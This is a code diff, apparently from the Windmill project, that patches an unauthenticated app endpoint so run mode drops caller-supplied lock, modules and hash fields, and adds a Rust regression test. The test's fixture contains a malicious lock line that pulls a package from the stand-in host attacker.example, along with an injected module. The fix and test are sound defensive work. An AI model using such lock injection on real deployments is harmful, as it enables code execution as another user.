diff --git a/backend/.sqlx/query-07ad3afbbcca85766a515496d489ba12ed40541b4fadce7c65a714fd7c9edb95.json b/backend/.sqlx/query-07ad3afbbcca85766a515496d489ba12ed40541b4fadce7c65a714fd7c9edb95.json
new file mode 100644
index 0000000000..adf438ca99
--- /dev/null
+++ b/backend/.sqlx/query-07ad3afbbcca85766a515496d489ba12ed40541b4fadce7c65a714fd7c9edb95.json
@@ -0,0 +1,34 @@
+{
+  "db_name": "PostgreSQL",
+  "query": "SELECT raw_lock, runnable_id, jsonb_exists(args, '_MODULES') AS has_modules FROM v2_job WHERE id = $1",
+  "describe": {
+    "columns": [
+      {
+        "ordinal": 0,
+        "name": "raw_lock",
+        "type_info": "Text"
+      },
+      {
+        "ordinal": 1,
+        "name": "runnable_id",
+        "type_info": "Int8"
+      },
+      {
+        "ordinal": 2,
+        "name": "has_modules",
+        "type_info": "Bool"
+      }
+    ],
+    "parameters": {
+      "Left": [
+        "Uuid"
+      ]
+    },
+    "nullable": [
+      true,
+      true,
+      null
+    ]
+  },
+  "hash": "07ad3afbbcca85766a515496d489ba12ed40541b4fadce7c65a714fd7c9edb95"
+}
diff --git a/backend/.sqlx/query-96a23a4a634afd94d71fe51cf992df028c0b899640dfe3ee1a8cc585ee67aaa1.json b/backend/.sqlx/query-96a23a4a634afd94d71fe51cf992df028c0b899640dfe3ee1a8cc585ee67aaa1.json
new file mode 100644
index 0000000000..0bae43db90
--- /dev/null
+++ b/backend/.sqlx/query-96a23a4a634afd94d71fe51cf992df028c0b899640dfe3ee1a8cc585ee67aaa1.json
@@ -0,0 +1,22 @@
+{
+  "db_name": "PostgreSQL",
+  "query": "SELECT raw_lock FROM v2_job WHERE id = $1",
+  "describe": {
+    "columns": [
+      {
+        "ordinal": 0,
+        "name": "raw_lock",
+        "type_info": "Text"
+      }
+    ],
+    "parameters": {
+      "Left": [
+        "Uuid"
+      ]
+    },
+    "nullable": [
+      true
+    ]
+  },
+  "hash": "96a23a4a634afd94d71fe51cf992df028c0b899640dfe3ee1a8cc585ee67aaa1"
+}
diff --git a/backend/tests/app_run_mode_lock_injection.rs b/backend/tests/app_run_mode_lock_injection.rs
new file mode 100644
index 0000000000..c76feeba1f
--- /dev/null
+++ b/backend/tests/app_run_mode_lock_injection.rs
@@ -0,0 +1,148 @@
+//! Regression test for run-mode inline-script trust in
+//! `POST /api/w/:workspace/apps_u/execute_component/:path`.
+//!
+//! An `ExecutionMode::Anonymous` app is reachable without authentication and its
+//! jobs run on-behalf-of the app publisher. In "run" mode (no
+//! `force_viewer_static_fields`) a no-id inline `raw_code` runnable is authorized
+//! only against the `sha256(content)` pin, so every other `raw_code` field is
+//! caller-controlled: `lock` is installed verbatim (a PEP 508 direct URL builds an
+//! sdist, a bun lock runs `postinstall`), `modules` are inline sources, and `hash`
+//! becomes the job's `runnable_id`, which makes the worker fetch and run a deployed
+//! script by hash instead of the pinned content — each is code execution as the
+//! publisher.
+//!
+//! This pins that in run mode the no-id inline arm runs only the pinned content:
+//! `lock`, `modules` and `hash` are dropped. Preview mode (the app-editor /
+//! `wmill app dev` path, run as the authenticated caller — the `/jobs/run/preview`
+//! equivalent) keeps honoring the caller-supplied `lock`.
+
+use serde_json::json;
+use sqlx::{Pool, Postgres};
+use windmill_test_utils::*;
+
+// sha256("def main():\n    return 1\n"), the content-hash the policy pins.
+const CONTENT: &str = "def main():\n    return 1\n";
+const CONTENT_SHA: &str = "13e9ae3486a224c96a589306cbfdf9dafd96593694e3b4632548f2999cf2299f";
+const APP_PATH: &str = "u/test-user/lock_injection_app";
+
+fn client() -> reqwest::Client {
+    reqwest::Client::new()
+}
+
+/// The pinned benign content plus every unauthenticated field: a lock (installed
+/// verbatim), inline modules, and a hash that would select a deployed script.
+fn evil_raw_code() -> serde_json::Value {
+    json!({
+        "content": CONTENT,
+        "language": "python3",
+        "path": format!("{APP_PATH}/a"),
+        "lock": "evilpkg @ https://attacker.example/evil.tar.gz",
+        "modules": { "m.py": { "content": "raise RuntimeError('pwned')", "language": "python3" } },
+        "hash": 424242424242_i64
+    })
+}
+
+#[sqlx::test(fixtures("base"))]
+async fn test_run_mode_runs_only_pinned_content(db: Pool<Postgres>) -> anyhow::Result<()> {
+    initialize_tracing().await;
+    let server = ApiServer::start(db.clone()).await?;
+    let port = server.addr.port();
+    let ws = format!("http://localhost:{port}/api/w/test-workspace");
+
+    // Deploy an anonymous app pinning one inline python component by content hash,
+    // exactly as the deploy-time policy bundler emits `<component>:rawscript/<sha>`.
+    let resp = client()
+        .post(format!("{ws}/apps/create"))
+        .header("Authorization", "Bearer SECRET_TOKEN")
+        .json(&json!({
+            "path": APP_PATH,
+            "summary": "lock injection regression app",
+            "value": {"type": "app", "grid": [], "subgrids": {}, "hiddenInlineScripts": [
+                {"name": "a", "language": "python3", "content": CONTENT, "path": format!("{APP_PATH}/a")}
+            ]},
+            "policy": {
+                "execution_mode": "anonymous",
+                "on_behalf_of": null,
+                "on_behalf_of_email": null,
+                "triggerables_v2": {
+                    "a": {"static_inputs": {}, "one_of_inputs": {}},
+                    format!("a:rawscript/{CONTENT_SHA}"): {"static_inputs": {}, "one_of_inputs": {}}
+                }
+            }
+        }))
+        .send()
+        .await?;
+    assert_eq!(resp.status(), 201, "create app: {}", resp.text().await?);
+
+    // Run mode, no id, no auth: the attacker supplies lock + modules + hash.
+    let resp = client()
+        .post(format!("{ws}/apps_u/execute_component/{APP_PATH}"))
+        .json(&json!({ "component": "a", "args": {}, "raw_code": evil_raw_code() }))
+        .send()
+        .await?;
+    let status = resp.status();
+    let job_id = resp.text().await?;
+    assert_eq!(
+        status, 200,
+        "benign pinned content must still be accepted and enqueued: {job_id}"
+    );
+    let job_id: uuid::Uuid = job_id.trim().parse()?;
+
+    // The enqueued job must carry none of the caller-supplied fields: no lock, no
+    // `_MODULES` (dropping `raw_code.modules` skips the push-time injection), and no
+    // `runnable_id` (a caller `hash` there would run a deployed script by hash).
+    let row = sqlx::query!(
+        "SELECT raw_lock, runnable_id, jsonb_exists(args, '_MODULES') AS has_modules \
+         FROM v2_job WHERE id = $1",
+        job_id
+    )
+    .fetch_one(&db)
+    .await?;
+    assert_eq!(
+        row.raw_lock, None,
+        "run mode must strip the caller-supplied lock"
+    );
+    assert_eq!(
+        row.runnable_id, None,
+        "run mode must strip the caller-supplied hash (no run-by-hash of a deployed script)"
+    );
+    assert_eq!(
+        row.has_modules,
+        Some(false),
+        "run mode must strip the caller-supplied modules"
+    );
+
+    // Preview mode (authenticated non-operator, the /jobs/run/preview equivalent)
+    // must keep honoring the caller-supplied lock — the strip is run-mode only.
+    let preview_lock = "# a caller lock preview must keep";
+    let resp = client()
+        .post(format!("{ws}/apps_u/execute_component/{APP_PATH}"))
+        .header("Authorization", "Bearer SECRET_TOKEN_2")
+        .json(&json!({
+            "component": "a",
+            "args": {},
+            "force_viewer_static_fields": {},
+            "raw_code": {
+                "content": CONTENT,
+                "language": "python3",
+                "path": format!("{APP_PATH}/a"),
+                "lock": preview_lock
+            }
+        }))
+        .send()
+        .await?;
+    let status = resp.status();
+    let job_id = resp.text().await?;
+    assert_eq!(status, 200, "preview must be enqueued: {job_id}");
+    let job_id: uuid::Uuid = job_id.trim().parse()?;
+    let raw_lock = sqlx::query_scalar!("SELECT raw_lock FROM v2_job WHERE id = $1", job_id)
+        .fetch_one(&db)
+        .await?;
+    assert_eq!(
+        raw_lock.as_deref(),
+        Some(preview_lock),
+        "preview mode must preserve the caller-supplied lock"
+    );
+
+    Ok(())
+}
diff --git a/backend/windmill-api/src/apps.rs b/backend/windmill-api/src/apps.rs
index cc4c5079f9..ace0f05319 100644
--- a/backend/windmill-api/src/apps.rs
+++ b/backend/windmill-api/src/apps.rs
@@ -4300,10 +4300,31 @@ async fn execute_component(
             (Some(path), None, None) => {
                 get_payload_tag_from_prefixed_path(&path, &db, &w_id).await?
             }
-            // inline script: "preview" mode, or run mode without an entry in the
-            // `app_script` table (legacy `rawscript/<sha>`-keyed triggerables).
+            // inline script: "preview" mode, or run mode with no `app_script`
+            // entry. The run-mode case is legacy back-compat: current deploys
+            // assign an `app_script` id (reduce_app) and take the `Some(id)` arm
+            // below, so it can be dropped once id-less deployed apps are gone.
             (None, Some(raw_code), None) => {
                 let tag = resolved_inline_tag(raw_code.tag.clone());
+                let raw_code = if is_preview {
+                    // Preview (editor / `wmill app dev`) runs the caller's own code
+                    // as themselves, like `/jobs/run/preview` — honored verbatim.
+                    raw_code
+                } else {
+                    // Run mode authorizes only `content` (the `rawscript/<sha>` pin)
+                    // on a job that runs as the app publisher, so rebuild from the
+                    // pinned fields and default the rest: a caller `hash` (runs a
+                    // deployed script by hash), `lock` (installed verbatim), or
+                    // `modules` would otherwise run or install unpinned code as the
+                    // publisher. Reconstructing keeps a newly added field safe.
+                    RawCode {
+                        content: raw_code.content,
+                        language: raw_code.language,
+                        path: raw_code.path,
+                        cache_ttl: raw_code.cache_ttl,
+                        ..Default::default()
+                    }
+                };
                 (JobPayload::Code(raw_code), tag, None)
             }
             // inline script: run mode (deployed app) with an entry in `app_script`.